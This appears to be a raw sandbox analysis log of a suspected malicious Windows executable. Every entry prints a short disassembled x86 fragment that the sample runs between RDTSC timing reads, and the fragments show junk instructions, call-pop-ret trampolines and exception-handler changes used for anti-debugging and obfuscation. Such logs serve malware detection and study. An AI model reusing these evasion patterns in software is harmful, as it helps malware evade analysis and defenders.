Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA1AE second address: 5AA206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov edx, dword ptr [ebp+122D327Bh] 0x00000011 add di, 56E7h 0x00000016 popad 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FB438C61F28h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D36A9h], edi 0x00000039 push 00000000h 0x0000003b cld 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push edi 0x00000041 pop edi 0x00000042 push esi 0x00000043 pop esi 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA206 second address: 5AA238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FB4390A66C0h 0x00000011 jmp 00007FB4390A66C5h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA238 second address: 5AA23E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACC7E second address: 5ACCDA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4390A66BCh 0x00000008 jnp 00007FB4390A66B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FB4390A66B8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d jng 00007FB4390A66B9h 0x00000033 movzx edi, bx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FB4390A66B8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 push esi 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF525 second address: 5AF52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0552 second address: 5B05EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 sub dword ptr [ebp+122D2BA5h], edx 0x00000017 push 00000000h 0x00000019 mov ebx, 6DCF8BAFh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007FB4390A66B8h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a call 00007FB4390A66C9h 0x0000003f push esi 0x00000040 sbb edi, 1919A311h 0x00000046 pop ebx 0x00000047 pop edi 0x00000048 add bx, C634h 0x0000004d xchg eax, esi 0x0000004e jmp 00007FB4390A66BEh 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jl 00007FB4390A66B8h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B05EB second address: 5B05F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B26FD second address: 5B2701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B36B9 second address: 5B36CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B36CE second address: 5B36D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B46A5 second address: 5B46AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5650 second address: 5B5655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5655 second address: 5B566C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C61F28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007FB438C61F28h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE67A second address: 5AE684 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4390A66BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6802 second address: 5B6806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6806 second address: 5B680C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE684 second address: 5AE6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D2BE5h], ebx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov ebx, 2D493DA5h 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 jmp 00007FB438C61F2Ah 0x00000025 mov eax, dword ptr [ebp+122D08FDh] 0x0000002b jne 00007FB438C61F27h 0x00000031 push FFFFFFFFh 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007FB438C61F28h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov ebx, dword ptr [ebp+122D2830h] 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 jp 00007FB438C61F2Ch 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B680C second address: 5B6812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE6F6 second address: 5AE728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB438C61F31h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB438C61F34h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE728 second address: 5AE732 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF67F second address: 5AF690 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C61F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF690 second address: 5AF695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF695 second address: 5AF6AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F36h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF6AF second address: 5AF6B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8783 second address: 5B8787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8787 second address: 5B878B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B878B second address: 5B87A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB438C61F2Ch 0x0000000d pop ebx 0x0000000e jo 00007FB438C61F3Ch 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B87A9 second address: 5B87B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB4390A66B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF768 second address: 5AF76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF76C second address: 5AF776 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9CFF second address: 5B9D05 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9D05 second address: 5B9D79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FB4390A66B8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 xor di, 3C7Fh 0x0000002b push 00000000h 0x0000002d xor ebx, 2F67CD8Eh 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FB4390A66B8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f push eax 0x00000050 pushad 0x00000051 push ebx 0x00000052 pushad 0x00000053 popad 0x00000054 pop ebx 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAD20 second address: 5BAD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB438C61F26h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B493B second address: 5B4940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5872 second address: 5B5905 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, 3B41F6C9h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FB438C61F28h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 pushad 0x00000038 and ebx, dword ptr [ebp+122D27F4h] 0x0000003e movsx edi, ax 0x00000041 popad 0x00000042 mov eax, dword ptr [ebp+122D08EDh] 0x00000048 or ebx, dword ptr [ebp+122D2950h] 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push edi 0x00000053 call 00007FB438C61F28h 0x00000058 pop edi 0x00000059 mov dword ptr [esp+04h], edi 0x0000005d add dword ptr [esp+04h], 00000019h 0x00000065 inc edi 0x00000066 push edi 0x00000067 ret 0x00000068 pop edi 0x00000069 ret 0x0000006a mov dword ptr [ebp+12482465h], eax 0x00000070 nop 0x00000071 push ebx 0x00000072 push esi 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9ECF second address: 5B9F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FB4390A66C1h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jmp 00007FB4390A66BBh 0x0000001c pushad 0x0000001d mov ebx, 0C7EA6F3h 0x00000022 call 00007FB4390A66BDh 0x00000027 mov dword ptr [ebp+122D201Fh], esi 0x0000002d pop esi 0x0000002e popad 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 add di, 3594h 0x0000003b mov eax, dword ptr [ebp+122D05B1h] 0x00000041 pushad 0x00000042 push edx 0x00000043 jne 00007FB4390A66B6h 0x00000049 pop ecx 0x0000004a xor dword ptr [ebp+122D3030h], edi 0x00000050 popad 0x00000051 push FFFFFFFFh 0x00000053 jmp 00007FB4390A66BAh 0x00000058 or dword ptr [ebp+122D201Fh], ecx 0x0000005e push eax 0x0000005f push eax 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAE9F second address: 5BAEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCE45 second address: 5BCE4F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCE4F second address: 5BCEB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or bl, FFFFFFC5h 0x0000000d sub dword ptr [ebp+12457571h], edi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov ebx, dword ptr [ebp+122D224Ch] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 add di, 62E8h 0x0000002c mov eax, dword ptr [ebp+122D0C09h] 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FB438C61F28h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push FFFFFFFFh 0x0000004e add di, DEE4h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jg 00007FB438C61F28h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C853F second address: 5C8543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7CCA second address: 5C7CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7CD4 second address: 5C7CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB4390A66C1h 0x0000000a popad 0x0000000b jo 00007FB4390A66C6h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jo 00007FB4390A66B6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7E65 second address: 5C7E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007FB438C61F26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC4E9 second address: 5CC4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1982 second address: 5D1990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B11 second address: 5D1B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B23 second address: 5D1B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007FB438C61F26h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B36 second address: 5D1B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B3C second address: 5D1B46 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB438C61F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1C91 second address: 5D1C97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1C97 second address: 5D1CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1F60 second address: 5D1F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D20DD second address: 5D20ED instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB438C61F26h 0x00000008 je 00007FB438C61F26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D20ED second address: 5D2143 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB4390A66C6h 0x00000008 ja 00007FB4390A66D4h 0x0000000e jc 00007FB4390A66B6h 0x00000014 jmp 00007FB4390A66C8h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB4390A66C6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D22B3 second address: 5D22BF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB438C61F26h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2443 second address: 5D2447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2447 second address: 5D244B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7B53 second address: 5D7B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7B57 second address: 5D7B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7B5D second address: 5D7B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB4390A66C5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7B7A second address: 5D7B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E7F second address: 5A8E83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D73FB second address: 5D743F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FB438C61F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007FB438C61F2Eh 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FB438C61F2Eh 0x0000001b jmp 00007FB438C61F37h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D743F second address: 5D7444 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D75D4 second address: 5D75EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Bh 0x00000007 ja 00007FB438C61F32h 0x0000000d jns 00007FB438C61F26h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E444 second address: 56E489 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4390A66C9h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB4390A66C1h 0x0000000f push ebx 0x00000010 jnc 00007FB4390A66B6h 0x00000016 jo 00007FB4390A66B6h 0x0000001c pop ebx 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FB4390A66C5h 0x00000027 push eax 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E489 second address: 56E48D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56752E second address: 567534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEE97 second address: 5DEEA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FB438C61F26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3A98 second address: 5A3AA2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3AA2 second address: 58DF21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FB438C61F28h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jmp 00007FB438C61F2Dh 0x0000002b mov dword ptr [ebp+122D2C8Ch], eax 0x00000031 call dword ptr [ebp+122D315Fh] 0x00000037 jp 00007FB438C61F49h 0x0000003d pushad 0x0000003e jmp 00007FB438C61F2Bh 0x00000043 push edi 0x00000044 pop edi 0x00000045 popad 0x00000046 push edi 0x00000047 push eax 0x00000048 pop eax 0x00000049 jmp 00007FB438C61F30h 0x0000004e pop edi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FB438C61F2Fh 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3F25 second address: 5A3F2B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A40C0 second address: 5A40E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB438C61F34h 0x0000000f jng 00007FB438C61F26h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A40E5 second address: 5A4127 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push ecx 0x0000000e jl 00007FB4390A66B8h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop ecx 0x00000017 pop eax 0x00000018 jnc 00007FB4390A66C2h 0x0000001e mov ecx, dword ptr [ebp+122D2938h] 0x00000024 push 414BFC8Ah 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4127 second address: 5A412D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A41F1 second address: 5A41F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
